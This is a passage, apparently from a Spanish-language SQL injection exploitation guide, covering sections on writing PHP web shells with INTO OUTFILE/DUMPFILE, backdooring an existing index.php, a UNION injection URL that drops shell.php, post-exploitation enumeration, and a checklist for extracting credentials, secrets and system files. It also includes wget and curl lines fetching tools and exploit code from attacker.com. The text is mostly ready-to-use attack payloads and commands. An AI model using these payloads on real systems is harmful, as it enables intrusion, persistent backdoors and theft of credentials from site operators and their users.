socat FILE:`tty`,raw,echo=0 TCP-LISTEN:44443.6 - Sobrescribir Archivos Existentes
Problema: INTO OUTFILE falla si archivo existe
Solución: Usar INTO DUMPFILE (más permisivo)
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/config.php';NOTA: Sobrescribe archivo existente (PELIGROSO, puede romper app)
3.7 - Crear Backdoor en Archivo Existente
Adjuntar código a archivo existente:
SELECT CONCAT((SELECT LOAD_FILE('/var/www/html/index.php')),
'<?php if($_GET["admin"]=="yes") system($_GET["cmd"]); ?>')
INTO OUTFILE '/var/www/html/index.php.bak';Luego:
mv index.php.bak index.php3.8 - En SQL Injection - Ejemplo
URL: ?product=test' UNION SELECT '<?php system($_GET["cmd"]); ?>', 2, 3, 4
INTO OUTFILE '/var/www/html/shell.php' --
Respuesta: (sin error = archivo creado)
Verificación:
http://target.com/shell.php?cmd=whoami
Resultado: www-data
RCE CONSEGUIDO3.9 - Post-Explotación con Shell
Una vez dentro:
# Información del sistema
whoami
id
uname -a
pwd
ls -la /
# Buscar archivos importantes
find / -name "*.php" -type f 2>/dev/null | head -20
find / -name "config*" -type f 2>/dev/null
# Ver variables de entorno
env
printenv
# Conectividad
ifconfig
netstat -tuln
arp -a
# BD credentials en variables
grep -r "DB_PASS" /var/www/
# Subir herramientas
wget http://attacker.com/linpeas.sh
curl http://attacker.com/exploit.c -o exploit.cChecklist de Explotación Completo
- [ ] Detecté SQLi (comilla + error o SLEEP)
- [ ] Identifiqué tipo de BD (MySQL, MSSQL, etc)
- [ ] Enuméré todas las bases de datos
- [ ] Encontré BD objetivo
- [ ] Enuméré todas las tablas
- [ ] Identifiqué tabla con credenciales
- [ ] Enuméré columnas de tabla crítica
- [ ] Encontré columna password/admin_pass
- [ ] Extraje datos sensibles (usuarios, passwords)
- [ ] Extraje configuración (API keys, secrets)
- [ ] Verifiqué privilegios del usuario
- [ ] Intenté leer archivos (/etc/passwd, config.php, .env)
- [ ] Intenté escribir shell web (RCE)
- [ ] Verifiqué RCE (shell.php?cmd=whoami)
- [ ] Post-explotación (enumeración de sistema, credenciales en archivos)